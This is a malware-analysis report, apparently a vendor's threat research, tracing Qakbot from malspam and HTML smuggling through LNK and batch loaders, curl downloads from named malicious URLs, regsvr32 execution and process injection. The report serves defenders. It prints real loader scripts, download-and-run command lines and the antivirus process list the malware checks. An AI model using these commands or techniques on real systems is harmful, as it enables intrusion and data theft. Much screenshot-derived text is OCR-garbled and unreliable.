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This report covers the execution of the notorious Qakbot malware infection, with in-depth details about TTPs (Tactics,

Qakbot Executive Summary

Qakbot (also known as QBot, QuakBot, or Pinkslipbot) is a modular information stealer and banking trojan malware that has

been active for over a decade. Qakbot was discovered in the wild in 2007.

Threat actors behind the malware are financially motivated cybercriminals. They steal financial data, banking credentials,

and web browser information from infected systems and compromise systems.

Once Qakbot threat actors succeed in infecting a system, they install a backdoor to grant access to ransomware operators,

leading to double extortion attacks.
Qakbot’s main goals are:

e Collecting credentials and financial information
« Installing a backdoor

» Dropping additional malware (in most cases ransomware)
Qakbot has led to widespread infections and is known as one of the most dangerous malwares.

Qakbot has evolved in the last two years and has a wide range of capabilities such as installing persistence, evading
defenses, escalating privileges, and communicating with a Command and Control (C2). These capabilities allow it to
compromise the system without being detected by endpoint detection and response (EDR) vendors or antivirus (AV)

solutions.
Recently (in the last three months), multiple Qakbot campaigns were seen in the wild.

Qakbot’s rapid change in its TTPs provides the ability to quickly spread and avoid defenses. The frequency of changing its

TTPs makes it harder for security analysts and defenders to monitor and prevent Qakbot attacks.

Orion’s observations

Cynet Orion Threat Research team closely monitors Qakbot campaigns, TTPs, and attack methods. Since Microsoft changed

the default policy in their Office products by disabling macros, threat actors changed their initial infection methods. Qakbot

in the past used malicious documents (MalDocs) to infect the system but these days it uses different methods.

Qakbot Infection Flow Summary
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Qakbot’s initial infection distribution starts with a spam\hijacked email that contains malicious HTML (HTML smuggling),

or password-protected ZIP. We have also observed malicious URL links as part of the malicious email. All of them lead to an
ISO image file (could also be VHD or IMG), which lures the victim to execute a malicious LNK file. After the LNK

execution, the next infection step could be different due to the change in the TTPs.

Usually, Qakbot threat actors at this stage of the infection abuse legitimate binaries (LOLBins — Living Off the Land
Binaries) or capabilities of the Microsoft Windows operating system. Orion observed the following LOLBins (From June
2022 until today) that were recently used — CMD and WScript for script\batch file execution, CURL for downloading
Qakbot’s DLL, and Regsvr32 or Rundll32 for Qakbot’s stager DLL execution.

In the technical part of this report, we will cover different TTPs and explain each one.

Once Qakbot’s DLL is executed, a process injection is taking place. A new process is created and injected with Qakbot’s

DLL. After Anti-VM and Anti-Analysis checks, the injected process installs its configuration in a registry key. A copy of the

same DLL is dropped for persistence which is executed by the registry Run key. In the case of a high-privileged

compromised user (Administrator), it will install persistence via a Scheduled Task.

Once the threat actors set up persistence, the Qakbot-injected process communicates to multiple C2 servers. The C2 servers
wait for information about the compromised system, which leads to the execution of an automated series of discovery

commands that collect information about the system.

The injected process also extracts information from web browsers (Internet Explorer and Microsoft Edge) by abusing a

built-in utility, esentutl binary. In addition, the C2 sends an info-stealing module that allows the injected process to access

web browser data and credentials.

After Qakbot has all the information and sends it to the C2 server, the infection leads to Cobalt Strike or Brute Ratel. These

frameworks allow threat actors to control the compromised system and perform multiple actions such as credential dumping,

lateral movement, exfiltration, etc.
The final stage of the infection is a human-operated ransomware attack with double extortion.

Ransomware threat actors locate and secure access to high-value assets, exfiltrate sensitive data and execute ransomware

across the domain.

From spam email to ransomware infection: Breaking down Qakbot campaign TTPs

Initial Access, Execution, and Defense Evasion
The Qakbot campaign distribution method is through malicious spam (malspam) emails.

Here are some examples below.
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From [2] Rey Reply All Forward || 6 Archive|| ) Junk|| i Delete || More v
To HETVNEE LA
Subject Re:Re:
Good afternoon,

Take a look at the attached file and share your thoughts with me.

Sincerely,

[I]J 1 attachment: RFSL_4465.html| 953 KB & Save Vv

RFSL_4465.html 953 KB

(D))

A malicious email with an HTML file attachment

The HTML distribution is extremely popular in the recent Qakbot campaigns.

The victim opens the HTML attachment in their browser which leads to a fake local HTML site. Threat actors use different
fake sites which seem legitimate and lure the victim to keep executing (clicking) until the Qakbot infection starts. The

HTML fake site then downloads a password-protected ZIP archive.

Threat actors use this technique — Obfuscated Files or Information: HTML Smuggling (MITRE ID: T1027.006) — to avoid
detection by smuggling a hidden ZIP file inside of an HTML file.

Downloads B oa - P

L Drive

F e My Drive ~

The file is not displayed correctly. Use local downloaded file.

Document password:  abc555

A fake Google Drive site with a password and drops a ZIP file
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Downloads B a - 2
3.3 Dropbox

Home
All files
Recents
Starred "
Photos ".‘
Signatures
- The file is not displayed correctly. Use local downloaded file.

ared
File requests

Document password:  PG1 1283153155

Deleted files

Privacy and legal When you star items, they'll appear here for easy access. Learn more

A fake Dropbox site with a password and drops a ZIP file

Downloads

55414b96-
:

$
[ POF

The file is not displayed correctly. Use local downloaded file.
Acrobat DC. It's how

the world gets work Document password: ~ abc111
done.

View, sign, comment on, and share
PDFs for free.

Are youan IT manager or OEM? Adobe, Adobe logo, the Adobe PDF logo, and Acrobat are either registered trademarks or trademarks of Adobe in the United States and/or other countries. All other
Keep your software up to date. trademarks are the property of their respective owners.

(63 Copyright © 2022 Adobe All ights reserved.
(Choose your region (Change) Termsofuse | Privacy | Reportabuse

A fake Acrobat site with a password and drop a ZIP file

The malicious HTML file contains JavaScript code and a Base64 encoded chunk that runs once the file opens. The

JavaScript automatically saves the Base64 data (ZIP archive) to a local file.

function YTsXiI2p()

{
return(document.getElementById('s5vhgjlc') .innerText) ;

}

function cXvhW20e ()

{
var u7cHPjgV = document.createElement ("embed™) ;
u7cHPjgV.setAttribute ("width", 10);
u7cHPjgV.setAttribute ("height", 5);
u7cHPjgV.setAttribute ("src", "data:image/svg+xml;basecd" + "," + YTsXiI2p()):
document.body.appendChild (u7cHPjgV) ;

}
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Examples of HTML smuggling file names:

¢ Contract#[digits].html

e Cancellation_[digits].html

o IN[digits].html

¢ ComplianceReportCopy#[digits]4.html
e Grant#[digits].html

o REF#[digits]_ [month]_ [day].html

¢ ContractCopy#|[digits].html

¢ Document#[digits](mmdd).html

Now we will cover some Qakbot infection flows and check which TTPs are being used.
The password-protected ZIP archive contains an ISO image. The password of the ZIP is presented in the HTML fake site.
Example of ISO files names:

e Details[digits].iso

e Contract_[digits].iso

¢ Cancellation#[digits].iso

e ComplianceReportCopy_[digits].iso
e Grant_[digits].iso

e A7[digits].iso

o DK]digits].iso

¢ VV[digits].iso

514256d3-5e71-4218-b550-2e8f22897a4c.zip (evaluation copy)

File Commands Tools Favorites Options Help

BEeE0me \® 0 8 =

Add  ExtractTo  Test View Delete Find Wizard Info VirusScan Comment  SFX

+ l 514256d3-5e71-4218-b550-2e8f22897adc.zip - ZIP archive, unpacked size 1,013,760 bytes

~

Name Size Packed Type Modified CRC32
- File folder
[2] Contract_6990.is0 * 1,013,760 461,061 Disc Image File 10/27/2022 5:07 AM 2FBO26DF
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Enter password X

Enter password for the encrypted file
C:\Users\user\AppData\Local\Temp'\RarSDRb...\Contract_6990.iso
in archive 514256d3-5e71-4218-b550-ae8f22897a4c.zip

Enter password

| v

Show password

Use for all archives

Organize passwords...

OK | Cancel Help

Until this point, the victim did exactly what the threat actors planned. The victim was first lured by a malicious spam email

and then downloaded an attachment, saved a ZIP file that contained an ISO file, and opened it.

The ISO contains an LNK file that has an icon of a directory or a document to lure the victim to double-click on it. In

addition, there is a hidden folder that contains some payloads and the Qakbot DLL.
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| B =1 Manage E:\
Home Share View Drive Tools

L » ThisPC » DVD Drive (E:) CD_ROM

" a Name Date modified Type Size
- 4 Contract 10727, Sharteut 2KB
"

=
|
-
-
-
[ &8 i B
a
.
2 < Manage
“ Home Share View Drive Tools
T~ » ThisPC > DVD Drive (E:) CD_ROM
= Name Date modified Type Size
= | reviewer 1072 File folder |
o Contract 10/2 Shortcut 2KB

The LNK file serves as a shortcut to the cmd.exe command line that executes a batch script (.cmd) from the hidden
directory.

LNK file meta-data:

elative Path:
Arguments: /c
Icon Location:

>> Tracker database
Machine ID:
MAC Address:
MAC Vendor:
Creation:

Volume Droid:
Volume Droid Birth:
File Droid:

File Droid birth:

LNK file properties and origin:
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Manage Manage

Shortcut Tools Application Tools

4 () » ThisPC > DVD Drive (E) CD_ROM

B
e
]

L )

[ e i ]
o s
=

=Ty
e
- B i [

B

e -
i et
o
§ e
e T
Fo o e

Hrrasn- rums

-
2items  1item selected 1.72KB
I & = | Ereviewer

Share View

€ o

[
il w —
==

i "™
m e

e
- B—
i aal

S Lonnsarana

A

v

Name Date modified
reviewer ¥72022 5:07 AM
:‘I Contract 10/27/2022 5:07 AM

lype

File folder
Shortcut

7= Contract Properties

Colors.
General

Teminal
Shottcut Options

o

Contract

Targettype:  Application
Target location: System32

C:\Windows\System32\cmd.exe /c
reviewer\grope.cmd vr 32. exe

» ThisPC > DVD Drive (E) CD_ROM > reviewer

~

Name

bike bt
grope.cmd
(%] rehearsers.gif
D volleyed.dat

Date modified

10/27/2022 5:06 AM
10/27/2022 5:07 AM
10/27/2022 5:06 AM
10/27/2022 5:07 AM

-

Target:

Startin:

Shorteut key: |None |

Iem)Z\andm/c reviewer\grope cmd vr 32. uel

| |

Run: I&irim‘.l e

Comment: | |

| Open Fie Location | | Change Icon Advanced..
[conc ] [

Type

Text Document
Windows Comma...
GIF image

DAT File

Size

266 KB
1KB
35KB
629 KB

In the hidden directory there are four files (.txt, .cmd, .gif and .dat), the LNK file executes the .cmd file which contains the

following code:

& EvreviewsAigrope.cmd - Noteped-+

File Edit Search View Encoding language Seftings Tools Macro Run Plugins Window 7
cHHERGR| daRhi2eins 2258|511 Ed@ee FEIRE
Howemat]
1 [echo off
2
3 :: foilingRetyped
4 set mattockBarnacle=sy
5 set roadbuildingBeeches=%SystemRoot%
6 set heraldicTelexed=%roadbuildingBeeches%\\%mattockBarnacle%stem32\\regs%1%2%3
’ set perfectionEtymons=%temp%
8 set unventuresomenessUnceasingly=replace
9
10 call %unventuresomenessUnceasingly% %heraldicTelexed% %perfectionEtymons% /A
1kt regs%1%2%3 reviewer\volleyed.dat
1L7
13 exit
14
5

The batch script has two batch commands “set” (lines 4-8) and “call” (line 10). The “set” command creates five environment

variables and the “call” command executes an obfuscated command line with all the environment variables.
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Note: at line 8, the last set command the new environment variables contain the replace.exe binary that will be used to copy

regsvr32 to a different location to evade security products.
@ Command Prompt

:\Users)

:\Users >set roadbuildingBeeches=%SystemRoot%

:\Users" »set heraldicTelexed=%roadbuildingBeeches creates five environment variables

:\Users >set perfectionEtymons=%temp%

:\Users »set unventuresomenessUnceasingly-replace

\Users %roadbuildingBeeches%
' C ndows' is not r gnized as an internal or external command,

C:\Users" >%heraldicTelexed%
' C: \Windows\\ tem32\\regs% 5 is not recognized as an internal or external command,

perable program or batch file. The content of the environment variables

[ :\Users) >¥%perfectionEtymons®
' C:\Users) \AppData\Local\Temp' is not recognized as an internal or external command,
perable program or batch file.

[:\Users" %unventuresomenessUnceasingly¥®
ource path required
No files replaced

The “call” command executes the following:

E¥ Command Prompt
venturesomenessUnceasingly C X ~fectionEtymo

olleyed.dat

The threat actors use a masquerading technique to avoid detections by placing the regsvr32.exe binary in a different location

with the replace.exe Microsoft built-in utility.
¢ replace C:\Windows\system32\regsvr32.exe C:\Users\Admin\AppData\Local\Temp /A
The /A parameter copies the new file to the requested directory instead of moving the existing file.

The %1 %2 %3 are the arguments that reside in the LNK command line. Their concatenation results in regsvr32.exe, which
will be executed to load the Qakbot’s DLL. The Qakbot’s DLL in this case is the “volleyed.dat” file.
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pestudio 9.45 - Malware Initial Assessment - www.winitor.com [e:\reviewer\volleyed.dat]

file settings about

?
property value
44 indicators (1) mds F412D0AA468548ABFOACTEAIONIACA
F-p1 virustotal (34/71) shal C78DBD41ADE0CETO000E25048BAAI30CTATBFI50
e :zi:'s: (E;g(zsi:tf;) sha2s6 9BEAS7A3ED6D925FE8DTS0TTEF37BIAIABAGS2BBDD2FOES16EFDFBBOAFBSEDS
: first-bytes-hex 4D 5A 50 00 02 00 00 00 04 00 OF 00 FF FF 00 00 B3 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00 00
file-header (Intel-386) first-bytes-text L 2 PRIV (- SN
optional-header (GUI) file-size 643400 bytes
= directories (4) entropy 6.988
b sactions (files imphash 3096CC91704CCAB083CO3FBIBI21AGD
braries (INT signature B d Delphi

i | imports (flag) tooling
=2 entry-point 558BECB83C4C4B3O4ES4500ESEOBFFAFF33 COA3 00 1F46008B 0D 00 1F 4600 B2 01 A1 EC

] file-version

< description

Wl resources (unknown) file-type
i-abe strings (15740) * cpu
; : subsystem
| compiler-stamp uTc
g debugger-stamp

L] overlay (unknown) resources-stamp

import-stamp
exports-stamp

This is the execution flow after double-clicking the LNK file:

gl fcmd exe (1072) "C:\Wndows\.Sy!lZ\and.exe" /c reviewer\grope.cmd vr 32. exe

2% Conhost.exe (3912) \?M\C:\Windows\system32\conhost.exe O«fffffff -ForceV1 Console W

& replace.exe (3716) replace C:\Windows\\system32\\regsvr32.exe C:\Users\ AppData‘\Local\Temp /A Replace Fi

=) & regsvr32.exe (2928) regsvr32.exe reviewer\volleyed.dat Microsoft(C
=) & regsvr32.exe (10308) reviewer\volleyed dat Microsoft(C

Another example of Qakbot infection uses different TTPs which will be described in the next section.

This infection also starts with an LNK file execution.

LNK meta-data:

elative Path:
Arguments: /c
Tcon Location: C

> Tracker database block
Machine ID: d s
MAC Address:
MAC Vendor:
Creation:

Volume Droid:
Volume Droid Birth:
File Droid:

File Droid birth:

LNK file properties and origin:
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@ BPO=I Manage Manage F
Home  Share  View  ShortcutTools Application Tools

A . » ThisPC » DVD Drive (F:) CD_ROM

[T Mame Date modified Type Size

- unmoistened 10/24/2022 2:15 AM File folder

L = A Copy 10/24/2022 2:15 AM Shorteut 2K8 4 Copy Properties X
L EH
-
[ E——
Copy
[y m—— aA

Colors Teminal Details
General Shortcut Options Fort Layout

Target type:  Application

Target location: System32

C:\Windows\System32\cmd.exe /c

unmoistened\summoner.cmd regs 4 (521w e /c et ene e cv e

) Stattin ‘ |
B

e Shorteut key: ‘Nnne |

L B = B Run | Minimized |

B i i Commert: | |

ST Open Fie Location | | Change lcon... | | Advanced.. |

| IR |

o

The batch file (.cmd) also has “set” and “call” commands.

The interesting part is found in line 7 where an unknown executable is in the %temp% directory (C:\Users\

{User\AppData\Local\Temp). At lines 4-6 the batch file sets environment variables. The concatenation of the environment

variables values will result in regsvr32.exe which will be copied to the %temp% directory and renamed.

O Search unmoistened

B m- Manage E\unmoistened
Home  Shwe  View  Appiication Taols
« . » ThisPC » DVD Drive () CD_ROM » unmoistened v o
B Name. - Date modified Type Size
PR — [ face.dat DAT File 818KB
- B horsementxt Text Document 257K
L ™ summoner.cmd 10/24/2022 2:15 AM Windows Comma... 1KB
85 unterraced png W24202206AM  PNGimage e
L=
b P [&f Evunmoistenedizummoner.emd - Notepads + - o x
dl B 5 Bt Fle Edt Search View Encoding Langusge Settings Took Macro Run Plugins Window ? X
e cAHE LB sdaR2eay 2% G368 E1EERe® | lEDEB
- o ‘.M oy HIMMMEI
il 1 [fecho off 2
P— &)
- 3 :: toddiesSquires
B o R Tl 4 set perturbsstiffs=system
i — 5 set vouchQuilts=%SystemRoot$%
F—— 6 set truismThiamin=%vouchQuilts$\\%perturbsstiffs$32\\%1vr32.exe
— ) set earringsWheezes=%temp%\\diagnosisPeanuts.exe
' o o ﬂ
9 :: call copy func
10 call :waivesAcquit "", "n, """
11
1% I exec
i3 $earringsWheezes% unmoistened\face.dat
14 v
Batch file length: 492 lines: 22 Ln:1 Col:1 Pos:1 Windows (CRLF)  UTF-§ INS
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< Manage c
Home

T~ » ThisPC > Local Disk (C:) » Users »

Share  WView  Application Tools

L A Name
" w TR
iy -
=g -
= —
= "k -
ek -
" mmew T
=
LTt —

TEE
.

-

. ——
o e o
=

i . [ diagnosisPeanuts.exe
[y LY b
e
Ja————
- wmw L
v i

9 items  1item selected 23.5KB

Usersh g AppData\LocahTemp

= > AppData 5 Local » Temp

Date modified

-
[ S—— e
[ -

-
Ly o ] i - - Lol L Rl B
iy T N B
el ey [C_ =T A

3/18/2019 9:45 PM

Type Size

¥ diagnosisPeanuts.exe Properties

General Compatbiy Securty Defals Previsus Versions

Property

Value

Description

Fie description
Type

File version
Product name
Product version

Dete modified
Language
Orginalfienams

MicroscftiC) Regster Server
Application

100.183621

Microscht® Windows® Operating System
10.0.18362.1

S Microsoft Corporation. Al fights reserv
235K8

3/18/2019 945 P

English {United States)
REGSVR32.EXE

24KB

Application

Remove Properties and Personal Infarmation

Apply

ol

pestudio 9.45 - Malware Initial Assessment - www.winiter.com [e:\unmoistened\face.dat]

file settings about

il indicators (70)
] virustotal (28/70)
- dos-header (64 bytes)

dos-stub (192 bytes)
e [P

- 1> file-header (Intel-386)
- |> optional-header (GUI)
54 directories (4)

- > sections (files)
.. | libraries (INT)

| imports (flag)

(i resources (unknown)

-abe strings (19725) *

=
i)
L] overlay (unknown)

property

md3

shal

sha256
first-bytes-hex
first-bytes-text
file-size

entropy
imphash
signature
tooling
entry-point
file-version
description
file-type

cpu

subsystem
compiler-stamp
debugger-stamp
resources-stamp
import-stamp
exports-stamp

value
07B748D062DCOCBAD510D5178A73C7BD

183EATB552F3A9631BOEBAFCTAS83AB5663BCI3B
4DF936E24707CBBY332C 39488 A20F SFADFSEQACSCCIAZEA4DS09F3539EATI200
4D 5A 50 00 02 00 00 00 04 00 OF 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00 00

837040 bytes

6.961
01A65EC330F6EE653C48DFD5CE659850
Borland Delphi

Delphi

558B EC 83 C4 C4 B3 00 8A 48 00 E8 58 D7 F7 FF 33 C0 55 68 55 8D 48 00 64 FF 30 64 89 20 68 47 11

dynamic-link-library

32-bit

GUI

Fri Jun 19 22:22:17 1992 | UTC
Sun May 17 09:20:54 2015 | UTC
0x00000000

The Qakbot DLL that is executed by the masqueraded Regsvr32

The execution flow after double-clicking the LNK file:

Windows Comma

Console Window ... C:\Win
Microsoft(C) Regis... C:\Usel
Microsoft(C) Regis... C:\Win

B .. jcmd exe (2952)
23 Conhost exe (8396)
(=) '# diagnosisPeanuts.exe (111
=) % regsvr32 exe (3992)

"C:\Windows\System32\cmd exe" /c unmoistened\summoner.cmd regs

\?NC:\Windows\system32\conhost .exe Oxfffffff -ForceV1

C:\Users ‘s AppData\Local\Temp\\diagnosisPeanuts exe unmoistened'face dat
unmoistenedface dat

In the last three months, Qakbot’s threat actors used unique TTPs for each campaign. We are monitoring Qakbot campaigns

closely and we observed unique infections flow each time:

e June 2022: LNK > CMD & CURL > PING > Regsvr32
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o Execution flow description: A LNK file executes a curl command to download a Qakbot DLL to

\\AppData\\Roaming\\[RandomDir] for a compromised distribution URL, and finally executes the DLL with

regsvr32.

- @M cmd exe (7672) "C:\Windows\system32\cmd .exe” Windows Comma...
&3 conhost exe (4116) \?NC:\Windows\system32\conhost exe (x4 Console Window ...
£38 cmd exe (5028) "C:\Windows\System32\cmd.exe” /q /c echo 'Wd' Windows Comma...
# curl.exe (2928) curl exe -0 C:\Users'wser' AppData‘\Roaming\dd\v8m_X.YSTm fOdH https://altosieg.com/10Mh/D2 png The curl executable
& PING.EXE (5844) ping hE.com TCP/IP Ping Com...

B ¥ regsvr32.exe (2584) regsvrd2 "C:\Users'wser' AppData‘\Roaming\dd\v8m_X.Y9Tm fOdH" Microsoft(C) Regis...
= & regsvr32exe (3012) "C:\Users wse" App Data\Roaming\dd\v8m_X.YSTm fOdH" Microsoft(C) Regis...

e July 2022: LNK > CALC > Regsvr32
o Execution flow description: A LNK file executes a copy of calc.exe (stored in the ISO). The ISO also contains
two DLL files, WindowsCodecs.dll, and a payload named [Random].dll to exploit a DLL hijacking. Finally,
regsvr32 loads the Qakbot DLL.

“C:\Windows\System32\cmd exe" /q /c calc exe Windows Comm
\?NC:\Windows'\system32\conhost exe Offfffff -ForceV1 Console Windoy
calc.exe Windows Calcul
C:\Windows\SysWOW64\regsvr32.exe 102755.dll Microsoft(C) Red

= 3% cmd exe (7852)
£ Conhost exe (7516)
2 L calc.exe (8632)
i Bregsvr32.exe (696)

e September 2022: LNK > CURL & WSCRIPT > CMD > PING & Regsvr32
o Execution flow description: A LNK file executes curl to download a .js file to \\AppData\\Roaming\\
[RandomDir]\\[RandomDir]. The JS script downloads the Qakbot DLL and executes it with Regsvr32.

"C:\Windows\System32\cmd .exe™ /q /c echo 15 88 MD "C:\Users === AppData‘\Roaming\AF\yq9" &4 curl exe —output C:\Users's

54 Conhost exe (4144) \?M\C:\Windows \system32\conhost exe Qdffffff -ForceV1
¥ cur.exe (9988) cur.exe —output C:\Users\um3pp Data\Roaming\AF\yq9\MXoye8l 22Xb i8 js hitps://varejaocajuru.com br/k Uy/05 html
=) @B . wscript.exe (7072) wscript MXoye8.22Xb 8 js
=) ¥ omd exe (8708) "C:\Windows\System32\cmd exe” /C ping go.com 84 regsvr32 _XEz dil
¥ Conhost exe (5580) \?M\C:\Windows \system32\conhost exe Odffffff -ForceV1
¥ PING.EXE (9320) ping go.com
=) |8 regsvr32.exe (6056) regsvr32 _XEzdl

Now that we have covered different Qakbot TTPs and infection flows, let’s focus on what happens after the Qakbot

DLL is executed by regsvr32.exe.

Qakbot DLL targets system processes for process injection (Process Hollowing). The targeted process will be chosen from a
hardcoded list according to AV solutions that are running on the compromised system to evade them.
CreateToolhelp32Snapshot, Process32Next, and Process32First APIs allow enumerating running processes on the

compromised system.
The target processes are:

¢ %SystemRoot%\SysWOW64\wermgr.exe (in the last campaigns the target process was:
%SystemRoot%\SysWOW64\explorer.exe)

* %SystemRo0t%\SysWOW64\mobsync.exe

¢ %SystemRoot%\ SysWOW64\msra.exe

¢ %SystemRoot%\ SysWOWG64\OneDriveSetup.exe

» %ProgramFiles(x86)%\Internet Explorer\iexplore.exe

We observed a new process in the new Qakbot campaign: %SystemRoot%\ SysWOW64\dxdiag.exe thanks to @Kaostastsale
from the DFIR Report Team.
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" : Kostas

ﬁ* @Kostastsale

Some noteworthy details about this week's #QakBot
infection + #threat _hunting & detection opportunities

B

n WMI queries via API calls to collect system-related
info and send to C2

Finally moved away from wermgr.exe and now it is
injecting to g

urer, Name,PNPDevicelD,Service,Status from Win32_PnPEntity
tallDate, InstallSource, PackageMName from Win32_Product

These are the AV processes that were checked:

» kavtray.exe, avp.exe == Kaspersky

» bdagent.exe, vsserv.exe, vsservppl.exe == Bitdefender

¢ SavService.exe, SAVAdminService.exe == Sophos

o coreServiceShell.exe, PccNTMon.exe, NTRTScan.exe == Trend Micro
e MsMpEng.exe == Windows Defender

e AvastSvc.exe == Avast

The process injection uses the following Windows APIs: CreateProcessW, WriteProcessMemory, and NtResumeThread.
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mav.

push ebp
mov ebp,esp
pop ebp

3
mov_edi,edi
push ebp
mov ebp,esp
pop ebp

jmp dword ptr ds:[<aResumeThreads)
nt3

CreateProcessw

JMP.&CreateProcessw

JMP.&ResumeThread

Hide FPU

EAX  0556FSDS
EBX 00000000
ECX 00000000
EDX 00000000
EBP  0542F778
ESP  0542F700

<4LoadLibraryA>

ESI 0542F784
EDI 0556F008

I L"C: \\Windows'\\ SyswOw64'\\wermgr . exe" I

EIP  74FF9EFO

EFLAGS 00000344
ZF 1 PF1 AFO
OF 0 SF O DF O
CFO TF1 IF1

LastError
GS 0028 FS 0053

ES 0028 DS 0028
€S 0023 SS 0028

ST(0) 000000D0000000000000 XB7r0
ST(1) 00000000000000000000 x87r1
ST(2) 00000000000000000000 XE7r2
ST(3) 00000000000000000000 XB7r3
ST(4) 00000000000000000000 X87r4

00000 X87rS
ST(6) BFFDIFEAC30000000000 XB7r6

Empty
Empty
Empty
Empty
Empty

<kernel32.CreateProcessw>

00000012 (ERROR_NO_MORE_FILES)
LastStatus C0000100 (STATUS_VARIABLE_NOT_FOUND)

Empty O.

Empty

. ~ FF25 DBL40675
. cc
. cc
3 E cc
o | 7aFF9EFF cc
o | 7arFoFo0 cc
o | 74FFoFo1 cc
74FF9FO2 cc
74FF9FO3 cc
74FFOFO4 cc
74FF9FOS cc
- <c
o 74FF9Fo7 cc
o|74rFaFos cc
o | 74FFaFo9 cC
ol 74FFaFoa <
o || 7aFFoFos cc
o | T4FFIFOC (<3
74FF9F 00 cc
74FFOFOE cc
74FFOFOF cc
74FF9F10 8BFF
ol 74rFoF12 55
o 74FF9F13 8BEC
o] 7aFFoF1s )
e|74FFoF1s| ~ FF2s go140675
o|7arForic
o|74FFoFi0 cc
T4FF9F1E cc
74FF9F1F (<
74FF9F20 <
74FF9F21 cc
74FF9F22 cc
74FF9F23 cc
74FFOF24 &=
T4FF9F25 cc
74FESEYR cc
<
€di=0556F008 L"C:\\Windows\\SyswOWe4\\wermgr . exe"
- TeXT:74FFIEFO kernel32.d11:$19EF0 #AEFO <CreateProcessw>

74FFSEF2 5
74FF9EF3
74FF9EFS 50

>
n
-
~
w
Y
o
5

3
74FF9F04 cc

74FF9F10
74FFOF12
74FF9F13
74FF9F15

>
n
n
N
0
o
i
o
5

mov edi,edi
push ebp
mov ebp, esp
pop ebp

jmp dword ptr ds:[<éCreateProcessw>]
nt3

CreateProcessi

IMP.&CreateProcessw

ResumeThread

IMP. &ResumeThr ead

Hide FPU
EAX  0556FEDS <aLoadLibraryA> A
EBX 00000000
ECX 00000000
EDX 00000000
EBP 0542F778
ESP  0542F700
ESI  0542F784
EDI 05571740 L€ \\Windows\\SysWOw64\\msra. exe"
EIP  74FF9EFO <kernel32.CreateProcessi>
EFLAGS 00000344
ZF 1 PF1 AF O
OF 0 SF O DF O
CFO TF1 IF 1
Lasterror 00000005 (ERROR_ACCESS_DENIED)
LastStatus COD0010A (STATUS_PROCESS_IS_TERMINATING)
GS 0028 FS 0053
ES 0028 DS 0028
€s 0023 SS 0028
ST(0) 00000000000000000000 X87r0 Empty 0.00000000000000
ST(1) 00000000000000000000 X87rl Empty 0.00000000000000001
ST(2) 000000 Xx87r2 Empty 0.00000000000000001
ST(3) 00DOOOOOO00000000000 X87r3 Empty 0.0000000000000000!
ST(4) 0000000000000000 X87r4 Empty 0.0000000000000000!
ST(5) 00000000000000000000 X87rS EmpTy 0.0000000000000000!
ST(6) BFFDIFEAC30000000000 X87r6 Empty -0.312337964773178: Y
< >
Defaut (stdcal) = |[5 1] 0] unlocked

espvn] 05571740 L
esp+C] 0000000

edi=05571740 L

\\Windows\\ Syswowe4\\msra. exe"

- TeXT:74FFIEFO kernel32.d11:$19EF0 #AEFO <CreateProcessw>

=su-v-m§ 00000000

55 push_eop
ssec Bov eb, esp
50 pop et

~ FEes osiseers mp_dword ptr ds:[<CreateProcessws]
c s
cc 3
3 nt:

c t;
< nt:
< e
c nt:
c e
nt:
e
;
at
o
nt!
nt:
at!
t;
nts
3
nt3
ssrr oV edi, edi
H push
ec mov ebp, esp
H p ebp
~ FF25 BO14DETS 79 dword ptr s [<éResuneThread]
:
i
t
nt:
nt
nt:
s
s
a3

WP, &Createprocessw

Resumerhread

WP, &ResumeThr ead

:\\windows'\SyswOw64'\\msra.exe"

esp+14] 00000000

< >
Hide FPU

EAX  0356FEDS  <atoadiibraryAx ~

EBX 00000000

Ecx 00000000

EDX 00000000

EBP  0342F778

EsP  0s42F700

ESI  O034zF78s

1 0ss7i7ss aram Files (x86)\\Internet Explorer\\iexplore. exe

E1F  rasrseso

EFLAGS 00000344

ZEL PE1 A O

OF o SFO DF O

CFo TF1 IF1

Lasterror 00000005 (ERROR_ACCESS_DENIED)

LastStatus COODDLOA (STATUS.PROCESS_IS_TERMINATING)

s 0028 Fs 0053

ES 0028 Ds 00zE

Cs 0023 ss oozs

sT(0) xa7ro Empty

sTC1) xa7r1 Empty

sTC2) x87r2 Empty

ST(3) x87r3 Em

sT(4) x87rs &

sT(s) X875 Empty

ST(6) BFFDIFEACI0000000000 X87ré EMDTY -0.32123379647731781006 )

< 5 E0 vt

Defaut (strcal)
i
espra] 05571768 L C:\\Progran
ip+C] 00000000
0000

edi=05571788 L"C:\\Program Files (x86)\\Internet Explorer\\iexplore. exe"

-TeXT:74FFOEFQ kernel32.d11:S196F0 #AEFO <CreateProcessie

esp+10:
esp+14] 00000000

Files (x86)\\Internet Explorer\\iexplore. exe™

CreateProcessW API is used to start a new system process using the flag CREATE_SUSPENDED to create the targeted

process in suspended mode.

After injecting the Qakbot DLL code with WriteProcessMemory, it finally resumes the injected process and its execution

with NtResumeThread.
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General Statistics Performance Threads Token Modules Memory Environment Handles Gpu Disk and Metwork Comment

Hide unnamed handles

Type . Name Handle

Directory KnownDlls32 0x&80

Directory \Sessions\1\BaseNamedObjects Oxcd

Event \Sessions\1\BaseNamedObjects\[8F5D9586-C7D...  0x374

File C:\Windows 0x44

File C:\Windows\SysWowe4 Ox8c

File C:\Windows\System32\en-US\regsvr32.exe.mui Oxd4

File \Device\DeviceApi 0xfd

File Device\KsecDD oxfa

File Device \CNG Oxfc

File Device\KsecDD 0x22c

File Ci\Windows\WinSxS\w86_microsoft.windows.co...  Ox2c4

File C:\Windows\SysWOWa4\en-Us\user32.dil mui Ox2ed

File C:\Windows \WinSxS a6 _microsoft.windows.c..-...  Ox2fc

File Ci\Windows\WinSxS \w86_microsoft.windows.c..-...  0x300

File C:\Windows\System32\en-US\winnlsres. dll. mui 0%330
File Device \WamedPipe whssvc 0x34c
Key HKLMYSOFTWARE \Microsoft\Windows NTVCurren..,  0x8
Key HKLM\SOFTWARE WMicrosoft\Windows NT\Curren...  0x50 Handle Properties x
Key HKLMYSYSTEM\ControlSet001\ControlMis'Custo...  Oxed

. General  Security

Key HKLMYSYSTEM\ControlSet001\Control\Nls\Sorting...  Oxe4
Key HKLM Oxec Basic information
Key HKLM Ox1lc Name: wemngr.exe (5448)
Key HKLMYSOFTWARE Wicrosoft\Ole 0x120
Key HKCU'\Software\Classes\Local Settings\Softwarel,.. 0x128 Type:  Process
Key HKCU\Software\Classes\Local Settings Ox12c Object address:  (ffffdf887a3de080
Key HKLMYSYSTEM\ControlSet001\Control\NetworkPr...  0x200 Granted access: Qu1fffff (Full control)
Key HKLMYSYSTEM\ControlSet001\Control\WetworkPr..,  0x204
